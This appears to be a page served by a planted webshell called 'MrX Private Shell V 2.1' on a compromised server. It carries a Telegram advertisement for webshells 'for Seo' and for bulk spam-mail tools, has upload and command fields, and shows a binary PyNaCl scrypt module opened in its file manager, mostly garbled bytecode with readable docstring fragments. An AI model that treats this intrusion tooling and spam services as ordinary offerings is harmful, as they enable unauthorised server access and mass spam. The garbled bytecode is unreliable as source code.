__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

#�`gJ����SSKJr SSKrSSKrSSKJr SSKJr \RRr\RRr
\RRr\RR r\RR$r\RR(r\S-
r\RR.r\RR2r\RR6r\RR:r\RR>r \RRBr"\RRFr$\RRJr&\RRNr(\RRRr*S\$-r+S\&-r,\(\*\RZR\4S\/S\0S	\0S
\/S\/S\RZRbS
\04Sjjr2\$\&4S\0S
\/S\/S
\04Sjjr3S\0S\0S
\44Sjr5g)�)�castN)�
exceptions)�ensure���size�password�salt�opslimit�memlimit�encoder�returnc��[[S[RS9 [[	U5[
:HS[
<S[	U5<S3[RS9 [RRX45upgnUS-n	UR[RRUU[[SU-5UUU	US95$)	a�
Derive a ``size`` bytes long key from a caller-supplied
``password`` and ``salt`` pair using the scryptsalsa208sha256
memory-hard construct.


the enclosing module provides the constants

    - :py:const:`.OPSLIMIT_INTERACTIVE`
    - :py:const:`.MEMLIMIT_INTERACTIVE`
    - :py:const:`.OPSLIMIT_SENSITIVE`
    - :py:const:`.MEMLIMIT_SENSITIVE`
    - :py:const:`.OPSLIMIT_MODERATE`
    - :py:const:`.MEMLIMIT_MODERATE`

as a guidance for correct settings respectively for the
interactive login and the long term key protecting sensitive data
use cases.

:param size: derived key size, must be between
             :py:const:`.BYTES_MIN` and
             :py:const:`.BYTES_MAX`
:type size: int
:param password: password used to seed the key derivation procedure;
                 it length must be between
                 :py:const:`.PASSWD_MIN` and
                 :py:const:`.PASSWD_MAX`
:type password: bytes
:param salt: **RANDOM** salt used in the key derivation procedure;
             its length must be exactly :py:const:`.SALTBYTES`
:type salt: bytes
:param opslimit: the time component (operation count)
                 of the key derivation procedure's computational cost;
                 it must be between
                 :py:const:`.OPSLIMIT_MIN` and
                 :py:const:`.OPSLIMIT_MAX`
:type opslimit: int
:param memlimit: the memory occupation component
                 of the key derivation procedure's computational cost;
                 it must be between
                 :py:const:`.MEMLIMIT_MIN` and
                 :py:const:`.MEMLIMIT_MAX`
:type memlimit: int
:rtype: bytes
:raises nacl.exceptions.UnavailableError: If called when using a
    minimal build of libsodium.

.. versionadded:: 1.2
�Not available in minimal build��raisingzThe salt must be exactly z, not z bytes longi�)�maxmem�dklen)r�	AVAILABLE�exc�UnavailableError�len�	SALTBYTES�
ValueError�nacl�bindings� nacl_bindings_pick_scrypt_params�encode�%crypto_pwhash_scryptsalsa208sha256_llr�int)
rr	r
rrr
�n_log2�r�prs
          �4/usr/lib/python3/dist-packages/nacl/pwhash/scrypt.py�kdfr&;s���r��(��$�$����D�	�Y���c�$�i�	!����	��=�=�A�A���L�F�q���
!�F��>�>��
�
�;�;���
��a�6�k�"�
�
���	<�	
�
�
�c�|�[[S[RS9 [R
R
XU5$)a�
Hashes a password with a random salt, using the memory-hard
scryptsalsa208sha256 construct and returning an ascii string
that has all the needed info to check against a future password

The default settings for opslimit and memlimit are those deemed
correct for the interactive user login case.

:param bytes password:
:param int opslimit:
:param int memlimit:
:rtype: bytes
:raises nacl.exceptions.UnavailableError: If called when using a
    minimal build of libsodium.

.. versionadded:: 1.2
rr)rrrrrr�&crypto_pwhash_scryptsalsa208sha256_str)r	rrs   r%�strr*�s9��,��(��$�$���=�=�?�?��H��r'�
password_hashc��[[S[RS9 [[	U5[
:HS[RR-[RS9 [RRX5$)a3
Takes the output of scryptsalsa208sha256 and compares it against
a user provided password to see if they are the same

:param password_hash: bytes
:param password: bytes
:rtype: boolean
:raises nacl.exceptions.UnavailableError: If called when using a
    minimal build of libsodium.

.. versionadded:: 1.2
rrz/The password hash must be exactly %s bytes long)rrrrr�PWHASH_SIZErr�+crypto_pwhash_scryptsalsa208sha256_STRBYTESr�-crypto_pwhash_scryptsalsa208sha256_str_verify)r+r	s  r%�verifyr0�sk����(��$�$����M��k�)�9�
�-�-�
C�
C�	D����	��=�=�F�F���r')6�typingr�
nacl.bindingsr�
nacl.encodingrr�nacl.exceptionsrrr.�_strbytes_plus_one�&has_crypto_pwhash_scryptsalsa208sha256r�,crypto_pwhash_scryptsalsa208sha256_STRPREFIX�	STRPREFIX�,crypto_pwhash_scryptsalsa208sha256_SALTBYTESr�-crypto_pwhash_scryptsalsa208sha256_PASSWD_MIN�
PASSWD_MIN�-crypto_pwhash_scryptsalsa208sha256_PASSWD_MAX�
PASSWD_MAXr-�,crypto_pwhash_scryptsalsa208sha256_BYTES_MIN�	BYTES_MIN�,crypto_pwhash_scryptsalsa208sha256_BYTES_MAX�	BYTES_MAX�/crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_MIN�MEMLIMIT_MIN�/crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_MAX�MEMLIMIT_MAX�/crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_MIN�OPSLIMIT_MIN�/crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_MAX�OPSLIMIT_MAX�7crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_INTERACTIVE�OPSLIMIT_INTERACTIVE�7crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_INTERACTIVE�MEMLIMIT_INTERACTIVE�5crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_SENSITIVE�OPSLIMIT_SENSITIVE�5crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_SENSITIVE�MEMLIMIT_SENSITIVE�OPSLIMIT_MODERATE�MEMLIMIT_MODERATE�encoding�
RawEncoderr!�bytes�Encoderr&r*�boolr0�r'r%�<module>rZs������"�"��]�]�N�N���M�M�@�@�	��M�M�F�F�	��M�M�F�F�	�
�]�]�
H�
H�
�
�]�]�
H�
H�
� �1�$���M�M�F�F�	��M�M�F�F�	��}�}�L�L���}�}�L�L���}�}�L�L���}�}�L�L��	�M�M�I�I��	�M�M�I�I��	�M�M�G�G��	�M�M�G�G���,�,���,�,��'�&�%)�]�]�%=�%=�
X�

�X��X��X��	X�
�X��]�]�
"�
"�
X��X�z)�(���������	�B�%��5��T�r'

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 2.85 KB 0644
_argon2.cpython-313.pyc File 1.81 KB 0644
argon2i.cpython-313.pyc File 4.68 KB 0644
argon2id.cpython-313.pyc File 4.7 KB 0644
scrypt.cpython-313.pyc File 7.27 KB 0644
Filemanager